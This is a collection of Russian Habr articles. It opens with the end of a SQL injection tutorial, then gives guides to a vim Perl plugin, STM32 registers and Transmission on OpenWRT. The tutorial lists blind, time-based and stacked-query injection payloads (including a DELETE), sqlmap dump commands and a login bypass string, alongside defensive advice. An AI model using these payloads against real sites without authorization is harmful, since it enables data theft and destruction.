Если наличие инъекции при подстановке спецсимволов не подтвердилось, то воспользуемся одной из техник поиска слепых инъекций:
* **Boolean Based SQLi**
Такой метод эксплуатации слепых SQL-инъекций, при котором информация извлекается исходя из реакции на условные выражения. Атака называется «слепой» в тех случаях, когда нет видимой реакции от веб-приложения. Например, при подстановке кавычек в потенциально уязвимый параметр, ошибка, связанная с нарушением логики SQL-запроса, не появляется, а страница отображается без изменений.
Пример:
?id=1 and 1=1 В этом случае содержимое страницы останется неизменным, потому что оба условия в операторе SQL истинные. Если изменить условие на 1 = 2, то ничего не возвращается, так как 1 не равно 2, а должны выполняться оба условия.
?id=1 and 1=2* **Time Based SQL-injection**
Существует метод, при котором используются функции СУБД (например, SLEEP), вызывающие задержку ответа от базы данных. Такой способ также применяется для эксплуатации слепых инъекций, когда отсутствует какой-либо вывод информации, в том числе в случаях, описанных в Boolean Based SQL-injection.
Пример:
```
?id=1 and sleep(10)
```
Функция sleep() выполнится на стороне СУБД при условии обращения к записи с id=1 соответствующей таблицы. Возможно использование функций BENCHMARK или WAITFOR.
Пример:
```
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))
id=1' waitfor delay '00:00:10' (MS-SQL)
pg_sleep() (PostgreSQL)
```
* **Stacked Query Based SQL-injections**
В SQL точка с запятой указывает на конец запроса, после которого можно начать новый. Это позволяет выполнять несколько операторов в одном вызове сервера базы данных. В отличие от UNION-Based, который ограничен операторами SELECT, составные запросы могут использоваться для выполнения любой процедуры SQL. Стоит также отметить, что не все БД поддерживают эту функцию. Например, при использовании MySQL и SQLite3, нельзя воспользоваться этими операторами запросов, но в PostrgeSQL такая возможность есть.
Пример:
```
?id=1; delete from table_name
```
### Автоматизированный анализ
**SQLmap** - мощный кроссплатформенный консольный инструмент для поиска, эксплуатации SQL-инъекций любого вида и сложности, написанный на языке Python.
Основные функции SQLmap:
* полная поддержка системы управления базами данных (MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB) и прямое подключение к ним;
* автоматическое распознавание форматов хешей паролей и предложение их подбора с использованием атаки по словарю;
* поддержка выполнения произвольных команд на ОС сервера БД, получение их стандартного вывода при использовании MySQL, PostgreSQL или Microsoft SQL Server и многое другое.
Основные ключи, которые используют при работе с MySQL : --dbs, -D,T,C, --level,--risk, --random-agent.
Пример:
```
# sqlmap -u http://example.com/?id=1 --dbs
# sqlmap -u http://example.com/?id=1 -D test_db -T test_tables –dump
```
Дамп пользовательской таблицы**JSQ injection** - еще один кроссплатформенный инструмент для выявления SQL-уязвимостей, написанный на языке Java и имеющий графический интерфейс. Этот инструмент поддерживает работу с 33 базами данных (Access, Altibase, Firebird, MemSQL, MySQL, Oracle, PostgreSQL, Presto, SQLite, SQL Server и т.д). По набору функций jSQL injection собрал в себе средство поиска и эксплуатации SQLi, функционал Dirb и Hashcat:
* поддержка различных видов инъекций (стандартные, error-based, stacked-based, blind и time-based);
* создание и внедрение веб-шелла и SQL-шелла;
* аутентификация с использованием Basic, Digest, NTLM и Kerberos;
* прокси-соединение по HTTP, SOCKS4 и SOCKS5;
* кодирование и декодирование текста;
* перебор паролей по хешу и др.
Пример:
Просмотр содержимого таблицSQLmap и jSQL injection поддерживают поиск уязвимостей в cookie. За счет более обширной базы пейлоадов, использование SQLmap при выявлении уязвимостей будет приносить положительный результат намного чаще.
Защита от SQL-инъекций
----------------------
Встречаются SQL-инъекции в числовом и строковом параметрах в запросах, использующих оператор SELECT, которые являются самыми распространенными. Поэтому проверять нужно всё: числа, строки, даты и другие данные в специальных форматах.
#### 1) Числа
Функция is\_numeric(n) используется для проверки переменной на числовое значение, которая вернёт true, если параметр n - число, а в противном случае - false. Также переопределить тип возможно вручную.
Пример:
```
if (isset($_GET['id'])){ $id = $_GET['id'];
if ( is_numeric($id) == true){ … }
```
#### 2) Строки
Компрометации через SQL-конструкции происходят и по причине нахождения в строках небезопасных кавычек и других специальных символов. Для предотвращения такой угрозы необходимо использовать функцию addslashes($str), которая возвращает строку $str с добавленным обратным слешем (\) перед каждым специальным символом. Данный процесс называется экранированием. Для этого в PHP используют функцию mysqli\_real\_escape\_string($str).
#### 3) Параметризированные запросы (PDO)
PDO заставляют разработчика сначала определить весь код SQL, а затем передать каждый параметр в запрос. Это позволяет БД различать код и данные независимо от того, что вводится пользователем. Подготовленные операторы гарантируют, что злоумышленник не сможет изменить логику запроса, даже, если атакующий вставляет команды SQL. Правильно параметризированный запрос не позволит базе данных обработать информацию о пользователе, как часть SQL-запроса. Для обхода аутентификации злоумышленник может использовать конструкцию:
```
аdmin’ or ‘1’=’1
```
При использовании PDO сначала передается запрос в БД, а потом в него подставляются данные из переменных. Таким образом, за имя пользователя будет приниматься вся строка admin’ or ‘1’=’1, введенная им, что не позволит хакеру проэксплуатировать SQL-инъекцию.
Пример кода:
```
if (isset($_GET['id'])){
$id = $_GET['id'];
if ( is_numeric($id) == true){
try{
$dbh = new PDO('mysql:host=localhost;dbname=sql_injection_example', 'dbuser', 'dbpasswd');
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$q = "SELECT username FROM users WHERE id = :id";
$sth = $dbh->prepare($q); $sth->bindParam(':id', $id);
$sth->execute(); $sth->setFetchMode(PDO::FETCH_ASSOC);
$result = $sth->fetchColumn(); print( htmlentities($result) ); …
```
#### 4) Хранимые процедуры
Объекты базы данных требуют, чтобы разработчик сгруппировал один или несколько операторов SQL в логическую единицу для создания плана выполнения. Последующие исполнения позволяют автоматически параметризовать операторы. То есть, это тип кода, который можно сохранить и многократно использовать в последующем. Когда необходимо выполнить запрос, вместо того, чтобы писать его, можно будет вызвать хранимую процедуру.
#### 5) Использование WAF
Nemesida WAF - универсальное решение, позволяющее блокировать попытки эксплуатации различных типов уязвимостей, в том числе и SQL-инъекции. В основе своей работы Nemesida WAF использует машинное обучение, способное более точно и с минимальным количеством ложных срабатываний, противодействовать атакам на веб-приложение вне зависимости от языка разработки и используемых фреймворков. Также доступна бесплатная версия [Nemesida WAF Free](https://waf.pentestit.ru/about/2511)
В одной из статей мы рассматривали способы тестирования Nemesida WAF различными инструментами.
Я твой WAF payload шаталПару недель назад команда Vulners опубликовала сравнение нескольких популярных WAF. Поймав себя на м...[habr.com](https://habr.com/ru/post/540188/)#### 6) Принцип наименьших привилегий
Нельзя подключать веб-приложения к базе данных, используя учетную запись с привилегированным доступом (только в случае крайней необходимости), так как злоумышленники могут получить доступ ко всей системе. Это позволит минимизировать ущерб от проэксплуатированной уязвимости при ее наличии.
Резюмируя написанное выше, приведем несколько рекомендаций по защите веб-приложений от SQL-инъекций:
* обрабатывайте ввод отдельно и формируйте запрос из безопасных значений;
* создавайте «белые» списки;
* регулярно устанавливайте обновления;
* удаляйте неиспользуемый функционал;
* задавайте конкретные значения названиям таблиц, полей и базам;
* периодически проводите анализ защищенности веб-приложений вручную и с помощью инструментов автоматизации (например, [Wapiti](https://habr.com/ru/post/510998/))
* используйте средства защиты веб-приложений (WAF).
Следует помнить, что любая успешная атака с использованием SQL-инъекций может привести к утечке персональных данных (данные кредитной карты, личная информация пользователя и др.), несанкционированному доступу к серверу. Все это может повлечь необратимые негативные последствия. Поэтому будьте в курсе основных тенденций в области информационной безопасности, следуйте приведенным выше рекомендациям, оставайтесь здоровыми и защищёнными. | https://habr.com/ru/post/546232/ | null | ru | null |
# Плагин perl-support для vim
#### Установка плагина
```
mkdir ~/.vim
cd ~/.vim
curl http://www.vim.org/scripts/download_script.php?src_id=21048 -o perl-support.zip
unzip perl-support.zip
rm perl-support.zip
echo "filetype plugin on" >> ~/.vimrc
yum install perl-Perl-Critic perltidy
```
#### Создание нового файла
Если файл имеет расширение .pl или .pm, то файл создается с шапкой для документации.
Так же плагин прописывает use strict, use warnings, use utf8.
Настроить под себя – не составит труда.
#### Запуск перл скрипта не выходя из редактора vim
##### Команда \rr
Подводим курсор на пустое поле и набираем \rr (в любом режиме, кроме ввода текста).
Наша программа выполнится.
#### Наводим порядок с помощью perl tidy не выходя из редактора
##### Команда \ry
Приводим код к красивому и каноническому виду одной командой.
#### Критикуем с помощью Perl-Critic «не отходя от кассы»
##### Команда \rpc
После ввода \rpc — перл критик нам сообщает до чего он докопался.
И выдает номер страницы книги [книги Perl Best Practices](http://shop.oreilly.com/product/9780596001735.do), которую надо прочесть, чтобы понять как это исправить ( если на то есть нужда).
#### Еще команды ( горячие клавиши) плагина
#### Дополнительно
[Англоязычная статья о плагине perl-support](http://www.thegeekstuff.com/2009/01/make-vim-as-your-perl-ide-using-perl-supportvim-plugin/)
[Страничка плагина на официальном сайте vim.org](http://www.vim.org/scripts/script.php?script_id=556)
Автор данного плагина Fritz Mehner.
Он написал так же:
* [AWK-Support](http://www.vim.org/scripts/script.php?script_id=4415): AWK IDE for Vim
* [Bash-Support](http://www.vim.org/scripts/script.php?script_id=365): Bash IDE for Vim
* [C-Support](http://www.vim.org/scripts/script.php?script_id=213): C/C++ IDE for Vim
* [LaTeX-Support](http://www.vim.org/scripts/script.php?script_id=4405): LaTeX IDE for Vim
* [Vim-Support](http://www.vim.org/scripts/script.php?script_id=3931): Vim-Script IDE | https://habr.com/ru/post/208492/ | null | ru | null |
# Начинаем изучать STM32: Что такое регистры? Как с ними работать?
### Продолжаем рассмотрение базовых вопросов
В [предыдущем уроке](https://habr.com/post/406889/) мы рассмотрели работу с битовыми операциями и двоичными числами, тем самым заложив основу для рассмотрения новой темы. В этом уроке мы с Вами рассмотрим очередной вопрос: **что такое регистры и как с ними работать**?
Список статей:
1. [Начинаем изучать STM32 или Управляем светом по-умному](https://habr.com/post/406839/)
2. [Начинаем изучать STM32: битовые операции](https://habr.com/post/406889/)
3. [Начинаем изучать STM32: Что такое регистры? Как с ними работать?](https://habr.com/post/407083/)
### Память и регистры
Одним из самых важных навыков необходимых при работе с микроконтроллерами является умение взаимодействовать с регистрами. Давайте для себя разберемся, **что же это такое**?
В целом, регистр — это особый вид памяти внутри микроконтроллера, который используется для управления процессором и периферийными устройствами. Каждый регистр в архитектуре ARM представляет собой ячейку памяти и имеет длину в 32 бита, где каждый бит можно представить в виде крошечного выключателя с помощью которого осуществляется управление тем или иным параметром микроконтроллера.
Каждый из регистров имеет свой порядковый номер – адрес. Адрес регистра обозначается 32-битным числом представленным в шестнадцатеричной системе счисления. Путём записи по адресу регистра определённой комбинации единиц и нулей, которые обычно представлены в шестнадцатеричном виде, осуществляется настройка и управление тем или иным узлом в МК. Вспомним, что в программе для работы с битовыми операциями, мы могли представить в виде шестнадцатеричного числа произвольный набор единиц и нулей. В целом стоит отметить, что существует два вида регистров: регистры общего назначения и специальные регистры. Первые расположены внутри ядра МК, а вторые являются частью RAM-памяти.
Так же стоит отметить, что **Reference Manual**, который мы скачивали в [первом уроке](https://habr.com/post/406839/), это один большой справочник по регистрам, содержащимся в целевом микроконтроллере, а библиотека CMSIS позволяет нам оперировать символьными именами регистров вместо числовых адресов. Например, к регистру **0x40011018** мы можем обратиться просто, используя символьное имя **GPIOC\_BSSR**. Конкретные примеры конфигурирования мы рассмотрим в ходе разбора нашей программы из [первого занятия](https://geektimes.ru/post/293339/).
Итак, обычно структура регистра описывается в виде небольшой таблицы с указанием:
1. Названия регистра и описания его назначения
2. Адреса регистра или смещением относительно базового адреса
3. Значения по умолчанию после сброса
4. Типа доступа к ячейкам регистра (чтение, запись, чтение/запись)
5. Значения и описания параметров записываемых битов
Давайте рассмотрим пример работы с регистрами в конкретной ситуации, чтобы получить общее представление о принципах настройки микроконтроллера.
### Разбор кода из первого занятия
Итак, давайте вспомним задачу, которую мы решили на [первом уроке](https://geektimes.ru/post/293339/) используя готовый код примера: нам было необходимо написать программу, которая бы обеспечила попеременное включение двух светодиодов на плате Discovery (возможно и не двух, если у вас другая версия платы Discovery) с временным интервалом.
Давайте еще разок взглянем на код программы, которую мы использовали для того, чтобы заставить наш МК дрыгать двумя ногами на которых расположены наши светодиоды:
**Код main.c**
```
/* Заголовочный файл для нашего семейства микроконтроллеров*/
#include "stm32f0xx.h"
/* Тело основной программы */
int main(void)
{
/* Включаем тактирование на порту GPIO */
RCC->AHBENR |= RCC_AHBENR_GPIOCEN;
/* Настраиваем режим работы портов PC8 и PC9 в Output*/
GPIOC ->MODER = 0x50000;
/* Настраиваем Output type в режим Push-Pull */
GPIOC->OTYPER = 0;
/* Настраиваем скорость работы порта в Low */
GPIOC->OSPEEDR = 0;
while(1)
{
/* Зажигаем светодиод PC8, гасим PC9 */
GPIOC->ODR = 0x100;
for (int i=0; i<500000; i++){} // Искусственная задержка
/* Зажигаем светодиод PC9, гасим PC8 */
GPIOC->ODR = 0x200;
for (int i=0; i<500000; i++){} // Искусственная задержка
}
}
```
Первым делом, при работе с STM32, даже для такой простой задачи как включение и выключение светодиода нам необходимо предварительно ответить на ряд вопросов:
1. Куда подключены наши светодиоды? К какому выводу микроконтроллера?
2. Как включить тактирование на нужный порт GPIO?
3. Как настроить, нужные нам, пины порта GPIO для того чтобы можно было включить светодиод?
4. Как включить и выключить светодиод?
Ответим на них по порядку.
### Куда подключены наши светодиоды? К какому выводу микроконтроллера?
Для того, чтобы посмотреть где что находится на плате Discovery, а в частности, нужные нам светодиоды — нужно открыть Schematic-файл, либо тот который мы [скачали с сайта ST](http://www.st.com/content/st_com/en/products/evaluation-tools/product-evaluation-tools/mcu-eval-tools/stm32-mcu-eval-tools/stm32-mcu-discovery-kits/stm32f0discovery.html), либо прямо из Keil:
Открыв Schematic мы увидим схему всего того, что есть на плате — схему ST-Link, обвязку всей периферии и многое другое. На текущий момент нас интересуют два светодиода, ищем их обозначение:
Как мы видим, наши светодиоды подключены к порту GPIOC на 8 и 9 пин.
### Как включить тактирование на нужный порт GPIO?
В целом, любая работа с периферией в микроконтроллерах STM32 сводится к стандартной последовательности действий:
1. Включение тактирования соответствующего периферийного модуля. Осуществляется это через регистр RCC путем подачи тактового сигнала напрямую с шины на которой находится данный модуль. По умолчанию тактирование всей периферии отключено для минимизации энергопотребления.
2. Настройка через управляющие регистры, путем изменения параметров специфичных для конкретного периферийного устройства
3. Непосредственный запуск и использование результатов работы модуля
То есть, для начала работы нам нужно запустить тактирование на порт GPIOC. Это делается напрямую через обращение к регистру RCC отвечающему за тактирование всего и вся и включению тактового сигнала с шины, к которой подключен наш порт GPIO.
***Внимание! Вопрос касательно системы тактирования, её настройки и использования мы подробно рассмотрим в отдельной статье.***
Найти к какой шине подключен наш порт GPIOC можно найти в Datasheet'е на наш МК в разделе Memory Mapping в Таблице 16. STM32F051xx peripheral register boundary addresses.
Как вы уже успели заметить, необходимая нам шина именуется как AHB2. Для того чтобы подробнее ознакомиться с регистром, в котором включается тактирование на нужный нам порт GPIO на шине AHB, надо перейти в соответствующий раздел в Reference Manual. По названию регистров мы можем определить тот, который нужен нам:
Переходим в этот пункт, и мы видим наш 32-битный регистр, его адрес смещения, значение по умолчанию, способ доступа к регистру и перечисление того, за что отвечает каждый бит в регистре.
Смотрим на таблицу и видим нечто напоминающее опции включения тактирования на портах GPIO. Переходим к описанию и находим нужную нам опцию:
Соответственно если мы установим 19 бит в значение «1» то это обеспечит включение тактирования на порт I/O C – то есть на наш GPIOC. К тому же — нам нужно включить отдельно один бит из группы, не затрагивая остальные т.к. мы не должны мешать и изменять без надобности другие настройки.
Основываясь на материалах прошлого урока, мы знаем что для того чтобы выставить определенный бит нужно используя логическую операцию «ИЛИ» сложить текущее значение регистра с маской которая содержит те биты которые необходимо включить. Например, сложим значение регистра RCC->AHBENR по умолчанию, т.е. 0x14 и число 0x80000 тем самым включим тактирование GPIOC путем установки 19 бита:
Каким образом мы можем это сделать из программы? Всё достаточно просто. В данном случае у нас два варианта:
1. Запись в регистр напрямую численного значения регистра напрямую через его адрес.
2. Настройка с использованием библиотеки CMSIS
В записи значения в регистр напрямую нет особых проблем, но есть пара существенных недостатков. Во-первых, такой код становится не читабельным и во-вторых мы не можем сходу определить на какой регистр ссылается тот или иной адрес в памяти.
То есть, мы могли бы обращаться к адресам регистров напрямую по адресу и написать так:
```
__IO uint32_t * register_address = (uint32_t *) 0x40021014U; // Адрес нашего регистра в памяти
*(__IO uint32_t *)register_address |= 0x80000; // Включаем 19 бит с нашим параметром
```
Второй вариант мне кажется наиболее привлекательным, т.к. библиотека CMSIS организована таким способом, что регистру можно обращаться, используя только его название. Препроцессор в ходе обработки текста программы перед компиляцией подставит все цифровые значения адреса регистра автоматически. Давайте разберем этот вопрос чуть подробнее.
Предлагаю открыть наш проект, который мы сделали в первом занятии, или скачайте предварительно подготовленый [отсюда](https://github.com/megalloid/stm32fxx/blob/master/CMSIS-Template.rar) и удалите все содержимое программы оставив только подключенный заголовочный файл, функцию main() и инструкцию для включения тактирования (она нам понадобится для подробного разбора кода).
Наш код будет выглядеть следующим образом:
```
/* Заголовочный файл для нашего семейства микроконтроллеров*/
#include "stm32f0xx.h"
/* Тело основной программы */
int main(void)
{
/* Включаем тактирование на порту GPIO */
RCC->AHBENR|=RCC_AHBENR_GPIOCEN;
}
```
Давайте для ознакомления копнём вглубь библиотеки CMSIS.
Для того, чтобы быстро перейти к месту где объявлена та или иная константа или переменная в Keil реализована удобная функция. Кликаем правой кнопкой по необходимой нам константе, например, на RCC:
И мы переносимся в глубины библиотеки CMSIS, в которой увидим, что все регистры доступные для управления программным способом имеют вид TypeDef-структур, в том числе и наш RCC:
Провалившись подобным образом в RCC\_TypeDef мы увидим структуру в которой описаны все поля нашего регистра:
Соответственно, мы можем спокойно обращаться к нужному нам регистру записью вида **PERIPH\_MODULE->REGISTER** и присваивать ему определенное значение.
Помимо мнемонического обозначения регистров есть так же обозначения конкретных битов. Если мы провалимся к объявлению параметра **RCC\_AHBENR\_GPIOCEN** из нашей программы, то так же увидим объявление всех параметров:
Таким образом, используя библиотеку CMSIS у нас получается лаконичная читаемая запись нужного нам параметра в регистр, через установку которого мы запускаем тактирование на нужный нам порт:
```
/* Включаем тактирование на порту GPIO */
RCC->AHBENR|=RCC_AHBENR_GPIOCEN;
```
***В качестве задания:*** определите используя возможности Keil, каким образом получился адрес регистра RCC->AHBENR как 0x40021014.
### Как настроить нужные нам пины GPIO для того чтобы можно было включить светодиод?
Итак, мы знаем что нужные нам светодиоды подключены к порту GPIOC к пинам PC8 и PC9. Нам нужно настроить их в такой режим, чтобы загорался светодиод. Хотелось бы сразу же сделать оговорку, что порты GPIO мы рассмотрим подробнее в другой статье и тут мы сконцентрируемся именно на работе с регистрами.
Первым делом нам нужно перевести режим работы пинов PC8 и PC9 в режим Output. Остальные параметры порта можно оставить по умолчанию. Переходим в Reference Manual в раздел ***9. General-purpose I/Os (GPIO)*** и открываем пункт отвечающий за режим работы пинов порта GPIO и видим что за этот параметр отвечает регистр MODER:
Судя по описанию, для установки пинов PC8 и PC9 в режим Output мы должны записать 01 в соответствующие поля регистра GPIOC.
Это можно сделать через прямую установку с помощью числовых значений:
1. Формируем число для записи:
2. Присваиваем это значение нашему регистру:
```
/* Настраиваем режим работы портов PC8 и PC9 в Output*/
GPIOC->MODER |= 0x50000;
```
Или через использование определений из библиотеки:
```
/* Включаем тактирование на порту GPIO */
GPIOC->MODER |= GPIO_MODER_MODER8_0 | GPIO_MODER_MODER9_0;
```
После данной инструкции наши пины PC8 и PC9 перейдут в режим Output.
### Как включить светодиод?
Если мы обратим внимание на список доступных регистров для управления портом GPIO то можем увидеть регистр ODR:
Каждый из соответствующих битов отвечает за один из пинов порта. Его структуру вы можете увидеть ниже:
Для того, чтобы обеспечить попеременную смену состояний светодиодов надо с определенным временным интервалом включать/выключать 8 и 9 биты. То есть попеременно присваивать регистру значение 0x100 и 0x200.
Сделать это мы можем через прямое присвоение значений регистру:
```
GPIOC->ODR = 0x100; // Зажигаем PC8, гасим PC9
GPIOC->ODR = 0x200; // Зажигаем PC9, гасим PC8
```
Можем через использование определений из библиотеки:
```
GPIOC->ODR = GPIO_ODR_8; // Зажигаем PC8, гасим PC9
GPIOC->ODR = GPIO_ODR_9; // Зажигаем PC9, гасим PC8
```
Но так как микроконтроллер работает очень быстро — мы не будем замечать смены состояний светодиодов и визуально будет казаться что они оба горят постоянно. Для того чтобы они действительно моргали попеременно мы внесем искусственную задержку в виде цикла который займет МК бесполезными вычислениями на некоторое время. Получится следующий код:
```
/* Зажигаем светодиод PC8, гасим PC9 */
GPIOC->ODR = GPIO_ODR_8;
for (int i=0; i<500000; i++){} // Искусственная задержка
/* Зажигаем светодиод PC9, гасим PC8 */
GPIOC->ODR = GPIO_ODR_9;
for (int i=0; i<500000; i++){} // Искусственная задержка
```
На этом первоначальное знакомство с регистрами и методами работы с ними мы можем закончить.
### Проверка результатов работы нашего кода
Небольшое приятное дополнение в конце статьи: в Keil имеется отличный Debug-инструмент с помощью которого мы можем пошагово выполнить нашу программу и просмотреть текущее состояние любого периферийного блока. Для этого после загрузки прошивки после компиляции мы можем нажать кнопку Start Debug Session:
Рабочая среда Keil переключится в режим отладки. Мы можем управлять ходом программы с помощью данных кнопок:
И есть еще одна удобная функция работы с периферией в режиме отладки, она позволяет просматривать текущее состояние регистров и менять их состояние простым кликом мышкой.
Для того чтобы ей воспользоваться — нужно перейти в соответствующий периферийный блок и справа откроется окно с указанием регистров и их значением.
Если вы кликните по одному из пунктов данного меню, вы увидите адрес регистра и его краткое описание. Так же можно просмотреть описание к каждому отдельному параметру регистра:
Попробуйте самостоятельно пошагово выполнить программу, включить/выключить светодиоды не используя программу, а используя данный режим работы с микроконтроллером. Простор для фантазии тут обширный. Так же попробуйте поиграться с длительностями задержек, сделайте одновременное моргание обоими светодиодами. В общем экспериментируйте! )
До встречи в следующих статьях!
Список статей:
1. [Начинаем изучать STM32 или Управляем светом по-умному](https://habr.com/post/406839/)
2. [Начинаем изучать STM32: битовые операции](https://habr.com/post/406889/)
3. [Начинаем изучать STM32: Что такое регистры? Как с ними работать?](https://habr.com/post/407083/) | https://habr.com/ru/post/407083/ | null | ru | null |
# OpenWRT, или Что еще можно сделать со своим роутером
Здравствуйте, на написание данной статьи меня натолкнула [аналогичная](http://habrahabr.ru/post/191854/), но в качестве сервера выступала Raspberry Pi. По моему мнению использовать эту маленькую, но при этом достаточно мощную платку в этих целях немного не целесообразно, у многих есть wi-fi роутер с USB портом, а следовательно зачем включать в розетку целый блок питания от компьютера давая при этом пускай и не большой, но все таки расход электроэнергии когда в розетку включено уже все что надо.
В данной статье рассмотрим установку торрентокачалки на практический любой роутер с USB и поддержкой OpenWRT прошивки. В наличии у меня имеется Linksys E3000, но конкретной разницы в установке и настройке OpenWRT нет. Что нам для этого будет нужно:
* Непосредственно роутер с разьемом USB, в идеале конечно с двумя.
* Флешка/ USB HDD произвольного объема под Ваши нужды чем больше тем лучше.
* Буквально пол часа свободного времени чтобы все поставить и настроить.
* Прямые руки.
##### Установка / настройка OpenWRT
Прежде всего сразу оговорюсь что Вы все делаете на свой страх и риск, так как существует вероятность «окирпичивания» Вашего роутера. Проверяем есть ли Ваш роутер в списке поддерживаемых устройств, для этого заходим на сайт [OpenWrt](https://openwrt.org/)
Жмем на соответствующую ссылку и ищем там свое устройство в списке. В принципе информация там не всегда актуальная, я в этом убедился на своем личном опыте со своим роутером который в этом списке значится как не полностью поддерживаемый, хотя и включен уже в trunk. Желательно запомнить на каком чипсете построен Ваш роутер для облегчения поиска именно Вашей прошивки.
После этого переходим в вкладку «Downloads»
Тут стоит выбрать какую ветку использовать стабильную (Attitude Adjustment) или соответственно «trunk» в папке snapshots, сразу замечу если Ваш роутер более менее новой модели, то скорее всего в стабильной ветке вы его не найдете.
Переходим непосредственно к скачиванию прошивки.
После того как прошивка скачалась переходим к прошивки Вашего роутера. Для этого необходимо зайти в его вэб-интерфейс который обычно располагается по адресу [192.168.1.1](http://192.168.1.1) или [192.168.0.1](http://192.168.0.1) в зависимости от производителя роутера. Подробнее по процессу прошивки и настройки Wi-Fi и всего остального для конкретного роутера можете обратится в [Google](http://www.google.com), а то эта статься может растянуться до неприличных размеров, мы же остановимся именно на установке и настройке Transmission.
##### Установка и настройка Transmission
После прошивки роутера запускаем [PuTTY](http://putty.org) если Ваша ОС Windows, если Linux то просто запускаете терминал. В поле адрес вбиваем 192.168.1.1 для PuTTY либо команду `telnet 192.168.1.1` для Linux. После успешного подключения переходим к установке / настройке пакетов.
Перед скачиванием пакетов следует маленькое отступление. Так как в роутере физической памяти достаточно мало, колеблется от 4 до 16 мегабайт в зависимости от продвинутости и цены Вашего роутера, нам следует заранее побеспокоится о его увеличении. Ведь мы в любом случае собираемся подключать к нему флешку или жесткий диск так почему бы нам не сделать чтобы роутер грузился непосредственно с раздела на нашем носителе? Давайте сделаем это! Перед всеми манипуляциями с роутером нужно «разбить» Ваш HDD/флешку на несколько разделов.
1. Раздел под своп (100-200 МБ будет достаточно) \* при использовании HDD, при использовании флешки не рекомендуется, так как имеется хоть и большой но все таки ограниченный запас циклов перезаписи
2. Раздел с которой будет грузится роутер (на Ваше усмотрение от 50 МБ и выше) с файловой системой Ext3 или Ext4 \* Вот тут то нам и может пригодится вторая флешка, куда лучше разместить загрузочную область и область для хранения закачек на разных устройствах чтобы безболезненно извлекать ее для скидывания информации без выключения роутера.
3. Раздел под Ваши загрузки / хранилище все оставшееся место желательно тоже в Ext3/4 если хотите периодический использовать носитель на компьютере то NTFS но приготовьтесь к периодическим ошибкам, так как Linux с этим типом ФС «дружит» довольно посредственно, так же дополнительно придется установить еще один пакет `ntfs-3g`.
Это все конечно можно было сделать и на роутере, но на компьютере это все происходит гораздо быстрее и можно воспользоваться программами с графическим интерфейсом, а не просто командной строкой терминала, что для новичка значительно ускоряет процесс. Как все это проделать на Windows и Linux опять же можно посмотреть на [Google](http://google.com) по той же причине что и первое обращение к этому источнику.
Приступим. Вводим последовательно команды в терминале
```
opkg update
opkg install block-mount kmod-usb-core kmod-usb2 kmod-usb-ohci kmod-usb-storage kmod-fs-ext4
```
###### Этими командами мы обновили базу репозиториев на роутере и установили необходимые нам пакеты: модули ядра для поддержки USB и модули файловой системы
```
block info
```
###### И ищем наши разделы на флешке / HDD \* Вы же не забыли подключить Вашу флешку / HDD к роутеру правда?
```
mount /dev/sdaX /mnt
mkdir /tmp/cproot
mkdir /home
mount --bind / /tmp/cproot
tar -C /tmp/cproot -cvf - . | tar -C /mnt -x
sync
umount /mnt
umount /tmp/cproot
```
###### Здесь взамен `sdaX` надо выбрать тот раздел с которого мы собираемся производить загрузку в дальнейшем. Все остальные команды предназначены для копирования загрузочного раздела роутера на флешку / HDD.
```
block detect > /etc/config/fstab
```
###### Данная команда записывает все найденные разделы для автоматического подключения в файл `/etc/config/fstab`. Дальше нам надо немого подредактировать этот файл к виду:
```
config 'global'
option anon_swap '0'
option anon_mount '0'
option auto_swap '1'
option auto_mount '1'
option delay_root '0'
option check_fs '0'
config 'mount'
option target '/'
option uuid '7d3abfaf-493a-46bb-9730-1d793ecb9783'
option enabled '1'
config 'mount'
option target '/home'
option uuid '7d3abfaf-463a-46db-9730-1d793ecb4593'
option enabled '1'
config 'swap'
option uuid '76d36596-5710-4b77-a3a7-02a66d469750'
option enabled '1'
```
Открываем данный файл для редактирования:
`vi /etc/config/fstab`
Как пользоваться данным редактором можно посмотреть [тут](http://docs.altlinux.org/archive/2.3/junior/alt-docs-extras-linuxnovice/ch02s10.html) или опять же обратится в [Google](http://www.google.com).
Перезагружаем роутер. Опять заходим в консоль и проверяем все ли правильно подмонтировалось:
```
root@OpenWrt:~# df
Filesystem 1K-blocks Used Available Use% Mounted on
rootfs 2758072 118004 2501828 5% /
/dev/root 2048 2048 0 100% /rom
tmpfs 63340 76 63264 0% /tmp
tmpfs 512 0 512 0% /dev
/dev/sda1 2758072 118004 2501828 5%
```
Тут следует обратить внимание на то чтобы `rootfs` совпадал по параметрам с `/dev/sda1`, если это так то у нас все получилось. Переходим к следующему пункту.
##### Установка torrent клиента Transmission.
```
opkg update
opkg install transmission-daemon transmission-cli transmission-web transmission-remote
/etc/init.d/transmission enable
```
Открываем файл настроек клиента и редактируем под свои нужды:
```
vi /etc/config/transmission
```
```
config transmission
option enable 1 # непосредственно включает клиент
option config_dir '/etc/transmission' # расположение фалов настроек клиента
option alt_speed_down 50 # ограничение скорости
option alt_speed_enabled false
option alt_speed_time_begin 540
option alt_speed_time_day 127
option alt_speed_time_enabled false
option alt_speed_time_end 1020
option alt_speed_up 50
option bind_address_ipv4 '0.0.0.0'
option bind_address_ipv6 '::'
option blocklist_enabled false
option dht_enabled true
option download_dir '/home/' # директория для загрузок
option encryption 0 # шифрование
option incomplete_dir '/home' # директория для не завершенных загрузок
option incomplete_dir_enabled false # включение/выключение директории для незавершенных загрузок
option lazy_bitfield_enabled true
option lpd_enabled false
option message_level 2
option open_file_limit 32
option peer_limit_global 240
option peer_limit_per_torrent 60
option peer_port 51413
option peer_port_random_high 65535
option peer_port_random_low 49152
option peer_port_random_on_start false
option peer_socket_tos 0
option pex_enabled true
option port_forwarding_enabled false
option preallocation 1
option proxy ""
option proxy_auth_enabled false
option proxy_auth_password ''
option proxy_auth_username ''
option proxy_enabled false
option proxy_port 80
option proxy_type 0
option ratio_limit 2.0000
option ratio_limit_enabled false
option rename_partial_files true
option rpc_authentication_required false
option rpc_bind_address '0.0.0.0'
option rpc_enabled true
option rpc_password ''
option rpc_port 9091
option rpc_username ''
option rpc_whitelist '127.0.0.1,192.168.1.*'
option rpc_whitelist_enabled false
option script_torrent_done_enabled false
option script_torrent_done_filename ''
option speed_limit_down 100
option speed_limit_down_enabled false
option speed_limit_up 40
option speed_limit_up_enabled true
option start_added_torrents false
option trash_original_torrent_files false
option umask 18
option upload_slots_per_torrent 14
option watch_dir_enabled false
option watch_dir ''
```
